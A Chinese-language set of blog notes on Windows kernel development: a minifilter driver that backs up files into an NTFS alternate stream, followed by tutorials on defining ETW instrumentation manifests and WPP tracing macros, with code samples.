我们将以NTFS Stream的形式将备份文件存储在原始文件中，如果需要恢复文件的上一个状态，我们使用Context替换掉当前的Stream以完成备份的恢复

我们定义的Context对象如下：

typedef struct _FileContext {
    Mutex Lock;
    LARGE_INTEGER BackupTime;
    BOOLEAN Written;
}FileContext;

其中第一个字段是一个互斥量，我们使用他来进行同步，因为一个文件可能会被多个线程在几乎同一时刻进行写入，我们需要互斥量来保证只有一个备份生成

我们这里使用的是标准互斥量而不是FastMutex，是因为我们的驱动需要进行IO操作，而IO操作只在IRQL为0（PASSIVE_LEVEL）下才能进行，FastMutex会将IRQL升高到1（APC_LEVEL）从而导致死锁

关于死锁的更详细解释是，IO操作通过向请求线程发送特殊内核APC来完成，而APC在APC_LEVEL下无法执行，一个正在等待FAST_MUTEX的线程的IRQL就是APC_LEVEL，那么IO操作就永远无法完成，死锁就形成了

Write字段是为了保证我们只在用户第一次调用Write函数时对文件进行备份

RAII

在我们备份文件的代码中，我们需要进行上锁，其中用到了RAII特性，一个Autolocker类

#pragma once
template<typename TLock>
class Locker {
public:
    Locker(TLock* lock) :m_lock(lock) {
        m_lock->Lock();
    }
    ~Locker() {
        m_lock->Unlock();
    }
private:
    TLock* m_lock;
};

我们使用do while循环划出来一个作用域（直接用花括号也可以划出来一块作用域）然后在该作用域中实例化一个Autolocker类，此时构造函数被调用，上锁操作随之完成，在出了作用域之后，Autolocker类会自动析构从而完成解锁操作

这里面海涌到了模板，C++真是博大精深，不理解语言特性连代码都看不懂

这里虽然我写的是指针，但是推荐使用引用写法，因为引用可以在编译阶段规避掉空指针引用的问题，有空指针的话编译是无法通过的

文件复制

NTFS文件系统支持Stream，我们可以在原始文件路径后面跟一个:Backup来创建出一个Stream，然后把源文件内容写入这个Stream中

使用FltReadFile和FltWriteFile函数进行源文件的读取和目标文件的写入

最后就是我们当前文件的大小可能会小于上一个版本的备份文件的大小，所以我们还需要设置当前版本备份文件的文件结束指针的位置

FILE_END_OF_FILE_INFORMATION info;
        info.EndOfFile = fileSize;
        status = FltSetInformationFile(FltObjects->Instance, targetFile, &info, sizeof(info),
            FileEndOfFileInformation);

OnPostCleanup

我们的Context是附着在一个文件上的，如果我们不作任何处理的话，只有当这个文件被删除的时候，我们的Context才会被清理掉，但是这个文件有可能永远都不会被删除，因此我们需要在文件关闭的时候清理掉Context

IRP_MJ_CLOSE和IRP_MJ_CLEANUP，两者的区别在于后者意味着对应的FILE_OBJECT已经不再被需要了，该文件的所有句柄都已经关闭，但是FILE_OBJECT的引用计数还没有归零，这是我们清理Context的最佳时机；而前者意味着最后一个句柄被关闭，但是由于缓存的存在，有时并不总是这样

效果演示

项目地址

改进

可以使用SectionObject来进行文件的备份，SectionObject允许我们像操作内存一样操作文件内容，而且无需操心内存的分配，这些工作以及写回到文件的操作都是由内存管理器来自动完成的

Section还支持在进程间以及内核模式和用户模式之间共享内存

下面使用SecionObject改进前面编写的Backup驱动的代码，主要的改动发生在BackupFile函数中

这是改进后的代码，可以看到没有给buffer分配内存

// 改写为使用SectionObject
NTSTATUS BackupFile(UNICODE_STRING path, PCFLT_RELATED_OBJECTS FltObjects) {
    KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "Entering BackupFile function call\n"));
    // 在内核里面是没有CopyFile这种现成的API给我们使用的
    LARGE_INTEGER fileSize;
    auto status = FsRtlGetFileSize(FltObjects->FileObject, &fileSize);
    if (!NT_SUCCESS(status)) {
        KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "Retrieve file size failed [0x%08X]\n", status));
        return status;
    }
    if (fileSize.QuadPart == 0) {
        KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "File empty [0x%08X]\n", status));
        return FLT_PREOP_SUCCESS_NO_CALLBACK;
    }
    // 我们的基本想法就是分别打开两个stream（srouce），一个是原始stream（target），另一个是用来备份的stream
    // 打开source
    PFILE_OBJECT sourceFile = NULL;
    PFILE_OBJECT targetFile = NULL;
    HANDLE hSourceFile = NULL;
    HANDLE hTargetFile = NULL;
    HANDLE hSection = NULL;
    IO_STATUS_BLOCK statusBlock;
    PVOID buffer = nullptr;
    do {
        OBJECT_ATTRIBUTES sourceFileAttr;
        InitializeObjectAttributes(&sourceFileAttr, &path, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
        // 使用FltCreateFileEx打开源文件
        // 你妈的这参数也太多了点
        // 我们用户模式下用于打开文件的API通常都会要求提供一个文件路径
        // 而内核模式种对应的API则要求提供一个OBJECT_ATTRIBUTES结构体，里面会包含要打开的文件路径
        // 这里面比较重要的参数有以下几个
        /*
        这两个参数提供了必要的信息以告知IO管理器设备栈中的下一个设备的位置，这样才能正常向目标设备
        发送IO请求
        FltObjects->Filter,
        FltObjects->Instance,
        hSourceFile  传出参数，用于接收该函数返回的句柄
        sourceFile   也是传出参数，用于接受该函数返回的FILE_OBJECT结构体，后面提供给FltReadFile函数使用
        FILE_OPEN    这个标志位就是表示文件一定要是已经存在的
        IO_IGNORE_SHARE_ACCESS_CHECK   这个标志位很重要，因为目标文件已经处于打开状态，且此时我们
        并不知道其是否设置了share相关标志位，所以我们请求IO管理器忽略share的检查
        */
        status = FltCreateFileEx(
            FltObjects->Filter,
            FltObjects->Instance,
            &hSourceFile,
            &sourceFile,
            GENERIC_READ | SYNCHRONIZE,
            &sourceFileAttr,
            &statusBlock,
            NULL, FILE_ATTRIBUTE_NORMAL,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT | FILE_SEQUENTIAL_ONLY,
            NULL, 0, IO_IGNORE_SHARE_ACCESS_CHECK
        );
        if (!NT_SUCCESS(status)) {
            KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "File open failed [0x%08X]\n", status));
            break;
        }
        // 然后我们需要在同一个文件中创建另一个Stream
        UNICODE_STRING targetFileName;
        const WCHAR backupStream[] = L":backup";
        targetFileName.MaximumLength = path.Length + sizeof(backupStream);
        targetFileName.Buffer = (WCHAR*)ExAllocatePoolWithTag(PagedPool, targetFileName.MaximumLength, DRIVER_TAG);
        if (NULL == targetFileName.Buffer) {
            KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "Allocate memory from paged pool failed\n"));
            status = STATUS_NO_MEMORY;
            break;
        }
        RtlCopyUnicodeString(&targetFileName, &path);
        RtlAppendUnicodeToString(&targetFileName, backupStream);
        KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "Backup file name: %wZ\n", &targetFileName));
        OBJECT_ATTRIBUTES targetFileAttr;
        InitializeObjectAttributes(&targetFileAttr, &targetFileName, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
        status = FltCreateFileEx(
            FltObjects->Filter,
            FltObjects->Instance,
            &hTargetFile,
            &targetFile,
            GENERIC_WRITE | SYNCHRONIZE,
            &targetFileAttr,
            &statusBlock,
            NULL, FILE_ATTRIBUTE_NORMAL,
            0,
            FILE_OVERWRITE_IF, // 覆盖已经存在的数据
            FILE_SYNCHRONOUS_IO_NONALERT | FILE_SEQUENTIAL_ONLY,
            NULL, 0, 0
        );
        if (!NT_SUCCESS(status)) {
            KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "Create backup stream failed [0x%08X]\n", status));
            break;
        }
        // 释放targetFileName.Buffer内存
        ExFreePoolWithTag(targetFileName.Buffer, DRIVER_TAG);
        // 创建SectionObject   这个Section用来映射源文件
        OBJECT_ATTRIBUTES sectionAttr = RTL_CONSTANT_OBJECT_ATTRIBUTES(nullptr , OBJ_KERNEL_HANDLE);
        status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_QUERY,
            &sectionAttr, NULL,
            PAGE_READONLY, SEC_COMMIT, hSourceFile);
        if (!NT_SUCCESS(status)) {
            KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "ZwCreateSection failed [0x%08X]\n", status));
            break;
        }
        // 这些操作都完成之后，我们就可以进行srouce到target的拷贝操作了
        // 使用循环分配小块内存，直到整个文件拷贝完成
        ULONG size = 1 << 20; // 1MB 1*1024*1024
        // 我们无需分配内存，只需要提供一个指针变量作为map函数的传出参数即可
        // buffer = ExAllocatePoolWithTag(PagedPool, size, DRIVER_TAG);
        // if (nullptr == buffer) {
        //  KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "Buffer allocate failed"));
        //  status = STATUS_NO_MEMORY;
        //  break;
        // }
        ULONGLONG remainBytes = fileSize.QuadPart;
        ULONG out = 0;
        ULONG readOffset = 0;
        LARGE_INTEGER sectionOffset;
        sectionOffset.QuadPart = 0;
        SIZE_T viewBytes = 0;
        ULONG bytesWritten = 0;
        // 从source中读取数据然后写入到target中
        while (remainBytes) {
            viewBytes = min(size, remainBytes);
            ZwMapViewOfSection(hSection, NtCurrentProcess(), &buffer, 0, 0,&sectionOffset, 
                &viewBytes, ViewUnmap, 0, PAGE_READONLY);

            if (!NT_SUCCESS(status)) {
                KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "ZwMapViewOfSection failed [0x%08X]\n", status));
                break;
            }
            // 写入目标stream
            status = FltWriteFile(
                FltObjects->Instance,
                targetFile,
                0,// 在进行同步IO的时候是没有必要指定offset的，因为IO管理器会自动追踪偏移量
                viewBytes,
                buffer,
                0,
                &bytesWritten,
                NULL, NULL);
            if (!NT_SUCCESS(status)) {
                KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "Write bytes to target failed [0x%08X]\n", status));
                break;
            }

            status=ZwUnmapViewOfSection(NtCurrentProcess(), buffer);
            if (!NT_SUCCESS(status)) {
                KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "ZwUnmapViewOfSection failed [0x%08X]\n", status));
                break;
            }
            sectionOffset.QuadPart += bytesWritten;
            remainBytes -= bytesWritten;
        }
        // 还要考虑到一种情况，就是上一个版本的备份文件比这次备份的大，因此我们需要设置文件的结束位置
        FILE_END_OF_FILE_INFORMATION info;
        info.EndOfFile = fileSize;
        status = FltSetInformationFile(FltObjects->Instance, targetFile, &info, sizeof(info),
            FileEndOfFileInformation);
        if (!NT_SUCCESS(status)) {
            KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "Set file end pointer failed [0x%08X]\n", status));
            break;
        }
    } while (false);


    status = FsRtlGetFileSize(targetFile, &fileSize);
    if (!NT_SUCCESS(status)) {
        KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "Failed to get backup file size [0x%08X]\n", status));
    }
    else {

        KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "Backup file size: [0x%08X]\n", fileSize.QuadPart));
    }
    KdPrintEx((FOR_DEBUG,TRACE_LEVEL_ERROR,"[sourceFile] This is the source file object address [0x%p]\n", sourceFile));
    KdPrintEx((FOR_DEBUG,TRACE_LEVEL_ERROR,"[targetFile] This is the backup file object address [0x%p]\n", targetFile));

    if (hTargetFile)  // 虽然这两个句柄没啥用，但还是要带上的，不然运行到FlrCreateFileEx的时候会BSOD
        FltClose(hTargetFile);
    if (hSourceFile)
        FltClose(hSourceFile);
    if (hSection)
        ZwClose(hSection);
    if (sourceFile)
        ObDereferenceObject(sourceFile);
    if (targetFile)
        g_backupFileObject = targetFile;
    KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "[g_backupFileObject] This is the backup file object address [0x%p]\n", g_backupFileObject));
    KdPrintEx((FOR_DEBUG, TRACE_LEVEL_ERROR, "File backup succeed\n"));
    return status;
}

项目地址

和用户模式进行通信

IoControl可以用于User/Kernel之间的通信，但是这种方式只能由User主动发起，Kernel只能被动接收消息

FilterManager提供了一个通信机制，可以让Kernel直接向User发送消息，这个东西被称作FilterCimmunicationPort，通过FltCreateCommunicationPort函数可以创建一个这样的端口出来

然后通过FltSendMessage来通过该端口发送消息，User也可以使用这套通信机制向Kernel发送消息，这个通信端口是双向的，只不过在UserMode中使用的API名称是FilterSendMessage

下面使用通信端口对前面的BackupDriver进一步改进

项目地址

演示

Windows ETW

2024-05-11T00:00:00+02:00

references:

约定：

IMF ----> instrumentation manifest

ETW全称为Event Tracing for Windows

ETW中有三个重要的概念：

Term	Description
Providers	Applications or components that raise event tracing instrumentation.
Controllers	Applications that start, stop, and configure event tracing sessions.
Consumers	Applications that receive event tracing sessions (in real time) or from a file.

即提供者、控制器、消费者，其实很好理解，提供者负责产生事件，控制器负责控制会话的开启和关闭吗，消费者接受提供者产生的事件

ETW提供了内核API，之前讲到的WPP就使用了ETW

驱动代码可以调用这些API来将自己注册成为一个提供者，产生的日志可以被消费者实时接收或者写入文件

和WPP一样，ETW也可以动态启停，对程序性能的影响非常小

在驱动程序中使用ETW

我们这里还是使用Windows File System Filter Driver中的代码来演示

其实最麻烦的就是写定义xml，下面着重讲一下

IMF就是一个XML文件，里面定义了一堆ETW相关概念的东西，通常以.man作为文件后缀

定义provider

provider标签的5个属性：

name
guid
resourceFileName
messageFileName
symbol

这5个属性必须赋值，语言本地化我们不用管，毕竟我也不是专门开发软件的😏

在一个man文件中可以写16个provider标签，如果多于16个，也可以定义，具体参考微软文档

<provider name="Microsoft-Windows-SampleProvider" 
    guid="{1db28f2e-8f80-4027-8c5a-a11f7f10f62d}" 
    symbol="PROVIDER_GUID" 
    resourceFileName="<path to the exe or dll that contains the metadata resources>" 
    messageFileName="<path to the exe or dll that contains the string resources>"
</provider>

定义频道

使用channel和importChannel标签，前者用于自定义频道，后者用于导入已经存在的频道

<channels>
    <importChannel chid="c1"
                   name="Microsoft-Windows-BaseProvider/Admin"
                   symbol="CHANNEL_BASEPROVIDER_ADMIN"
                   />

    <channel chid="c2"
             name="Microsoft-Windows-SampleProvider/Operational"
             type="Operational"
             enabled="true"
             />
</channels>

自定义频道的name属性的命名规范为provider标签的name属性+反斜杠+channel类型

channel类型一共就4个：

Administrative
Operational
Analytical
Debug

其中chid属性必须为唯一标识符，所以如果让我来写的话我会给他加一个GUID后缀

定义严重级别

win:Critical
win:Error
win:Warning
win:Informational
win:Verbose

通常我们使用这5种级别就够了，没必要自己去定义，这个是windows sdk中帮我们定义的level：

<levels>
    <level name="win:LogAlways" symbol="WINEVENT_LEVEL_LOG_ALWAYS" value="0" message="$(string.level.LogAlways)"> Log Always </level>
    <level name="win:Critical" symbol="WINEVENT_LEVEL_CRITICAL" value="1" message="$(string.level.Critical)"> Only critical errors </level>
    <level name="win:Error" symbol="WINEVENT_LEVEL_ERROR" value="2" message="$(string.level.Error)"> All errors, includes win:Critical </level>
    <level name="win:Warning" symbol="WINEVENT_LEVEL_WARNING" value="3" message="$(string.level.Warning)"> All warnings, includes win:Error </level>
    <level name="win:Informational" symbol="WINEVENT_LEVEL_INFO" value="4" message="$(string.level.Informational)"> All informational content, including win:Warning </level>
    <level name="win:Verbose" symbol="WINEVENT_LEVEL_VERBOSE" value="5" message="$(string.level.Verbose)"> All tracing, including previous levels </level>

    <!-- The following are unused.  They are place holders so that users dont accidentally use those values in their own definitions -->
    <level name="win:ReservedLevel6" symbol="WINEVENT_LEVEL_RESERVED_6" value="6"/>
    <level name="win:ReservedLevel7" symbol="WINEVENT_LEVEL_RESERVED_7" value="7"/>
    <level name="win:ReservedLevel8" symbol="WINEVENT_LEVEL_RESERVED_8" value="8"/>
    <level name="win:ReservedLevel9" symbol="WINEVENT_LEVEL_RESERVED_9" value="9"/>
    <level name="win:ReservedLevel10" symbol="WINEVENT_LEVEL_RESERVED_10" value="10"/>
    <level name="win:ReservedLevel11" symbol="WINEVENT_LEVEL_RESERVED_11" value="11"/>
    <level name="win:ReservedLevel12" symbol="WINEVENT_LEVEL_RESERVED_12" value="12"/>
    <level name="win:ReservedLevel13" symbol="WINEVENT_LEVEL_RESERVED_13" value="13"/>
    <level name="win:ReservedLevel14" symbol="WINEVENT_LEVEL_RESERVED_14" value="14"/>
    <level name="win:ReservedLevel15" symbol="WINEVENT_LEVEL_RESERVED_15" value="15"/>
    <!-- End of reserved values -->
</levels>

如果我们要用的话，直接复制回来就行了，没必要自己瞎折腾

定义任务和操作码

提供者使用任务和操作码来进行事件的分组

一般情况下，使用任务来标识一个软件组件，比如network、database等

使用操作码来标识某个组件执行的操作，如network组件的发包、收包操作，database组件的查询、插入等操作

这个都是自己来定义的，微软并不会强制要求你怎么写，只要你自己觉得符合逻辑即可

task和opcode的定义方法如下：

<tasks>
    <task name="Disconnect" 
          symbol="TASK_DISCONNECT"
          value="1"
          message="$(string.Task.Disconnect)"/>

    <task name="Connect" 
          symbol="TASK_CONNECT"
          value="2"
          message="$(string.Task.Connect)">
    </task>

    <task name="Validate" 
          symbol="TASK_VALIDATE"
          value="3"
          message="$(string.Task.Validate)">
    </task>
</tasks>

<opcodes>
    <opcode name="Initialize" 
            symbol="OPCODE_INITIALIZE" 
            value="12"
            message="$(string.Opcode.Initialize)"/>

    <opcode name="Cleanup" 
            symbol="OPCODE_CLEANUP" 
            value="13"
            message="$(string.Opcode.Cleanup)"/>
 </opcodes>

<localization>
    <resources culture="en-US">
        <stringTable>
            <string id="Provider.Name" value="Sample Provider"/>
            <string id="Task.Disconnect" value="Disconnect"/>
            <string id="Task.Connect" value="Connect"/>
            <string id="Task.Connect.ReadRegistry" value="ReadRegistry"/>
            <string id="Task.Validate" value="Connect"/>
            <string id="Task.Validate.GetRules" value="GetRules"/>
            <string id="Opcode.Initialize" value="Initialize"/>
            <string id="Opcode.Cleanup" value="Cleanup"/>
        </stringTable>
    </resources>
</localization>

定义关键字，用于给事件分类

关键字keyword是一个64-bit的掩码，每一个bit都是一个category，如果一个事件的某个bit置位，那么就表明这个事件归属于该bti位对应的category

其中低48-bit由开发者自定义，高16bit由微软定义，winmeta.xml文件中有对高16bit的说明

这个就是高16bit每个bit位所对应的含义

ETW会话可以通过keyword来过滤掉自己不想搜集的事件，这个就跟WPP中的flag和level是一样的

ETW会话有一对针对keyword的过滤器：

MatchAnyKeyword
MatchAllKeyword

顾名思义，前者就是说只有事件的任意一个bit命中，就写入，后者意思是只有所有的bit都命中才会写入

如果MatchAllKeyword为0，那么只要符合MatchAnyKeyword规则，那么就会写入，如果MatchAllKeyword不为0，那么事件的keyword必须要同时符合两条规则才会被写入

我们可以举一个实际的例子

使用keyword标签来定义关键字，定义之后，后面的event标签就可以使用这里定义的所有关键字：

<keywords>
    <keyword name="Read" mask="0x1" symbol="READ_KEYWORD"/>
    <keyword name="Write" mask="0x2" symbol="WRITE_KEYWORD"/>
    <keyword name="Local" mask="0x4" symbol="LOCAL_KEYWORD"/>
    <keyword name="Remote" mask="0x8" symbol="REMOTE_KEYWORD"/>
</keywords>

定义过滤器

这个过滤器是给ETW会话使用的，过滤规则由会话提供

比如说我们的provider会生成进程相关ed事件，然后我们提供了一个根据进程ID进行事件过滤的过滤器，那么ETW会话就可以通过传给我们一个PID来过滤事件

使用filter标签来定义过滤器：

<filters>
    <filter name="Pid"
            value="1"
            tid="t1"
            symbol="FILTER_PID"/>
</filters>

<templates>
    <template tid="t1">
        <data name="Pid" inType="win:UInt32"/>
    </template>
</templates>

定义Name/Value映射

用于将数字映射成字符串，这个没什么好说的，直接看例子：

<maps>
    <valueMap name="TransferType">
        <map value="1" message="$(string.TransferType.Download)"/>
        <map value="2" message="$(string.TransferType.Upload)"/>
        <map value="3" message="$(string.TransferType.UploadReply)"/>
    </valueMap>
    <bitMap name="DaysOfTheWeek">
        <map value="0x1" message="$(string.DaysOfTheWeek.Sunday)"/>
        <map value="0x2" message="$(string.DaysOfTheWeek.Monday)"/>
        <map value="0x4" message="$(string.DaysOfTheWeek.Tuesday)"/>
        <map value="0x8" message="$(string.DaysOfTheWeek.Wednesday)"/>
        <map value="0x10" message="$(string.DaysOfTheWeek.Thursday)"/>
        <map value="0x20" message="$(string.DaysOfTheWeek.Friday)"/>
        <map value="0x40" message="$(string.DaysOfTheWeek.Saturday)"/>
    </bitMap>
</maps>

<localization>
    <resources culture="en-US">
        <stringTable>
            <string id="Provider.Name" value="Sample Provider"/>
            <string id="TransferType.Download" value="Download"/>
            <string id="TransferType.Upload" value="Upload"/>
            <string id="TransferType.UploadReply" value="Upload-reply"/>
            <string id="DaysOfTheWeek.Sunday" value="Sunday"/>
            <string id="DaysOfTheWeek.Monday" value="Monday"/>
            <string id="DaysOfTheWeek.Tuesday" value="Tuesday"/>
            <string id="DaysOfTheWeek.Wednesday" value="Wednesday"/>
            <string id="DaysOfTheWeek.Thursday" value="Thursday"/>
            <string id="DaysOfTheWeek.Friday" value="Friday"/>
            <string id="DaysOfTheWeek.Saturday" value="Saturday"/>
        </stringTable>
    </resources>
</localization>

定义事件数据模板

虽然我不知道name属性到底有啥用，但是根据文档，name属性是一定要有值的

注意里面的outtype，intype属性很好理解，解释我们调用EventWrite函数的时候传入的参数类型，而outtype是用来指示消费者如何渲染这条数据，不过outtype并不是一定要设置ed属性，如果你不指定，那么消费者会使用intype默认的对应outtype来进行渲染

<templates>
    <template tid="t2">
        <data name="TransferName" inType="win:UnicodeString"/>
        <data name="Day" inType="win:UInt32" map="DaysOfTheWeek"/>
        <data name="Transfer" inType="win:UInt32" map="TransferType"/>
    </template>

    <template tid="t3">
        <data name="TransferName" inType="win:UnicodeString"/>
        <data name="ErrorCode" inType="win:Int32" outType="win:HResult"/>
        <data name="FilesCount" inType="win:UInt16" />
        <data name="Files" inType="win:UnicodeString" count="FilesCount"/>
        <data name="BufferSize" inType="win:UInt32" />
        <data name="Buffer" inType="win:Binary" length="BufferSize"/>
        <data name="Certificate" inType="win:Binary" length="11" />
        <data name="IsLocal" inType="win:Boolean" />
        <data name="Path" inType="win:UnicodeString" />
        <data name="ValuesCount" inType="win:UInt16" />
        <struct name="Values" count="ValuesCount" >
            <data name="Value" inType="win:UInt16" />
            <data name="Name" inType="win:UnicodeString" />
        </struct>
    </template>
</templates>

定义事件

使用event标签定义事件，value属性必须被定义，且需要是唯一的

如果事件中包含自定义的数据，那么就需要之前定义的数据模板，通过设置template属性为对应的templateid来实现

level/keyword/task/opcode用来给事件分类

这里有一个完整的定义文件

里面的symbol属性决定了我们到时候发布事件的时候所要使用的函数名称

另外一点就是所使用的template也决定了传参的形式

本地化消息字符串

这个没什么好讲的，就是localization标签，前面已经见到过很多次了

编译.man文件

使用消息编译器mc.exe来编译我们前面编写的.man文件

mc会创建出来一个头文件，里面包含了man文件中的定义

我们需要在源文件中包含这个头文件，同时mc还会生成.rc文件和一个.bin文件

有两种方法可以将上面的操作自动化：

添加消息编译器任务到驱动项目文件中
使用VS将man文件添加到项目中并配置消息编译器属性

对于第一种方法，可以在vcxproj文件中的MessageCompile标签中进行编辑：

<MessageCompile Include="evntdrv.xml">
  <GenerateKernelModeLoggingMacros>true</GenerateKernelModeLoggingMacros>
  <HeaderFilePath>.\$(IntDir)</HeaderFilePath>
  <GeneratedHeaderPath>true</GeneratedHeaderPath>
  <WinmetaPath>"$(SDK_INC_PATH)\winmeta.xml"</WinmetaPath>
  <RCFilePath>.\$(IntDir)</RCFilePath>
  <GeneratedRCAndMessagesPath>true</GeneratedRCAndMessagesPath>
  <GeneratedFilesBaseName>evntdrvEvents</GeneratedFilesBaseName>
  <UseBaseNameOfInput>true</UseBaseNameOfInput>
</MessageCompile>

代码编写

现在我们修改之前的过滤驱动项目来使用ETW进行tracing

其实我突然发现ETW并不是很适合用来记录调试信息，因为只要传参类型不同，就需要定义额外的template，很麻烦，除非说你定义一个很长的参数列表，来满足所有类型的参数类型，但是这样会导致代码非常臃肿

在编写完man文件之后我们需要修改文件属性

后面的过程我放到了视频中

part1

part2

项目地址

自定义的channel不知道啥原因不好使，使用importChannel，利用现成的channel就可以，而且就是驱动一运行，就会有源源不断的事件写入到event log中，根本不用tracelog

<importChannel  chid="c1"
                name="System"/>

所以是不是说，ETW并不是所谓的动态启停？只要注册了之后，有consumer就会生成事件？

这个我现在也没弄明白

2024-06-14 更新

其实ETW用起来并不复杂，我们并不一定非要把日志写入到系统log中

这里有一个从这个项目中抄来的ETW代码，大家可以参考一下

另外就是原始项目的代码注释中提到了一篇文章，我也顺便来看一下

笑死了，这篇文章通篇都在吐槽微软的屎山代码

不过问题是这个ETW代码只能在用户模式使用，驱动中是不能这么写的

但是Trace部分我们还是可以正常使用的，只需要把Trace项目的GUID修改为驱动项目中etwman.xml中的GUID即可

效果如下：

Windows WPP

2024-05-09T00:00:00+02:00

references:

约定：

TMF --> trace message function

本章我们将会介绍如何使用WPP

WPP的全称为Windows software trace PreProcessor

他可以用来跟踪trace provider的操作，一个trace provider可以是一个内核驱动，也可以是一个用户模式的软件

WPP是WMI event tracing的补充和增强，他简化了追踪trace provider操作的方式

WPP非常高效，可以实时记录二进制日志数据，并且可以转换为human-readable trace log

WPP和ETW都可以用来搜集调试信息，两者的区别在于前者可以保证我们的调试信息不被用户看到，因为WPP产生的二进制日志文件需要使用TMF文件来进行解码，而TMF是通过PDB文件生成的，正常情况下我们是不会发布PDB文件的

WPP软件跟踪过程

WPP的基本过程可以分为下面这几步：

定义control GUID，用于唯一标识一个trace provider
添加WPP相关的C预处理指令和WPP宏来调用源文件中的函数
修改VS项目配置以启动WPP预处理
安装驱动，开启trace session并记录消息

需要注意的是，并不是所有的驱动类型都可以使用WPP，这一点可以通过在DriverEntry中加入WPP宏WPP_INIT_TRACING然后编译代码来进行验证，如果编译通不过，说明该类型的驱动不受WPP支持

WPP trace provider同一时刻只能存在于一个trace session中

在驱动代码中使用WPP

我们需要对原本的驱动代码进行更改，这里我们使用Windows File System Filter Driver中的代码来演示

如果使用了VS提供的KMDF模板，可以知己跳到第五步

第一步，定义control GUID和trace flag

一般的做法是把WPP相关的宏定义放到一个单独的头文件中，然后在所有需要用到WPP trace的源文件中包含这个头文件

wpp.h:

#define WPP_CONTROL_GUIDS                                              \
    WPP_DEFINE_CONTROL_GUID(                                           \
        myDriverTraceGuid, (84bdb2e9,829e,41b3,b891,02f454bc2bd7), \
        WPP_DEFINE_BIT(MYDRIVER_ALL_INFO)        /* bit  0 = 0x00000001 */ \
        WPP_DEFINE_BIT(TRACE_DRIVER)             /* bit  1 = 0x00000002 */ \
        WPP_DEFINE_BIT(TRACE_DEVICE)             /* bit  2 = 0x00000004 */ \
        WPP_DEFINE_BIT(TRACE_QUEUE)              /* bit  3 = 0x00000008 */ \
        )

可以看到trace flag的值是2的次幂，从0开始

在使用TMF的时候，我们会带上trace flag，tracelog.exe可以通过指定trace flag来控制正在运行的驱动中哪些TMF会被执行

形式如下：

DoTraceMessage(TRACE_DRIVER, "Hello World!\n");

当tracelog.exe通过-flag选项指定flag为2的时候，这条语句就会执行，对应的message就会被记录下来

第二步，选择一个函数作为trace message function

所谓trace message function就和dbgprint差不多，就是用来写调试信息的

微软提供了一个默认的函数，DoTraceMessage宏，如果你使用这个默认函数，那么就不需要再定义WPP_LEVEL_ENABLED和WPP_LEVEL_LOGGER宏了

如果你使用自定义的函数，或者转换现存的函数，那么就需要进行以下操作

比如你想把KdPrint函数转换成TMF，那么你需要定义WPP宏来标识并启用这个函数
定义WPP宏来启用这个函数，每一个TMF都必须要有一对宏定义，这对宏用于标识trace provider并指定在什么条件下会产生trace message，形式如下： c WPP_<condition>_LOGGER WPP_<condition>_ENABLED

这里的<condition>就是你的TMF的参数列表，比如你的TMF签名为：

DoTraceLevelMessage(LEVEL, FLAGS, MESSAGE, ...);

那么对应的宏就应该长下面这个样子

#define WPP_LEVEL_FLAGS_LOGGER
#define WPP_LEVEL_FLAGS_ENABLED

默认的TMF是DoTraceMessage：

void  DoTraceMessage(     
    TraceFlagName,    
    Message,     
    [ VariableList ] 
);

它对应的宏就是

WPP_LEVEL_ENABLED
WPP_LEVEL_LOGGER

这就是遗留问题了，虽然DoTraceMessage支持的是trace flag，但是他这里宏定义上写的却是LEVEL，而且实际他也是不支持LEVEL的，而是支持trace flag

如果我们使用上面提到的DoTraceLevelMessage函数作为我们的TMF，那么最终的宏定义应该为：

#define WPP_LEVEL_FLAGS_LOGGER(lvl,flags) \
           WPP_LEVEL_LOGGER(flags)

#define WPP_LEVEL_FLAGS_ENABLED(lvl, flags) \
           (WPP_LEVEL_ENABLED(flags) && WPP_CONTROL(WPP_BIT_ ## flags).Level >= lvl)

只有在达到指定等级之后，才会启用loggger

下面我们需要使用begin_wpp和end_wpp来声明我们的TMF，你没看错，他就是被注释掉的，因为这个不是给编译器用的，是给WPP预处理器用的配置

DTLM是DoTraceLevelMessage的缩写

// begin_wpp config
// FUNC DTLM(LEVEL, FLAGS, MSG, ...);
// end_wpp

可以直接将KdPrint转换成TMF，如下：

// begin_wpp config
// FUNC KdPrint{LEVEL=TRACE_LEVEL_INFORMATION, FLAGS=TRACE_DRIVER}((MSG, ...));
// end_wpp

只有在TRACE_LEVEL_INFORMATION等级和TRACE_DRIVER标志启用时，才会记录日志，此时的KdPrint将不再直接输出到DbgView中，而是记录到日志中

我们也可以直接将KdPrintEx转换为我们的TMF

// begin_wpp config
// FUNC KdPrintEx((Flags, LEVEL, MSG, ...));  
// end_wpp

不过KdPrintEx和KdPrint不太一样，多了几个参数

DbgPrintEx (
    _In_ ULONG ComponentId,
    _In_ ULONG Level,
    _In_z_ _Printf_format_string_ PCSTR Format,
    ...
    );

因此我们要在WPP_CONTROL_GUIDS定义一个ComponentId的BIT，不然tracelog也没法用，对应的WPP宏对有需要更改，FLAGS跑到了LEVEL前面

#define WPP_CONTROL_GUIDS \
    WPP_DEFINE_CONTROL_GUID(GUIDFriendlyName, (DE1AB18A, 8A47, 43FB, B3BB, E503D293A33F),  \
        WPP_DEFINE_BIT(DPFLTR_IHVDRIVER_ID)  )

#define WPP_FLAGS_LEVEL_LOGGER(flags,lvl) \
           WPP_LEVEL_LOGGER(flags)

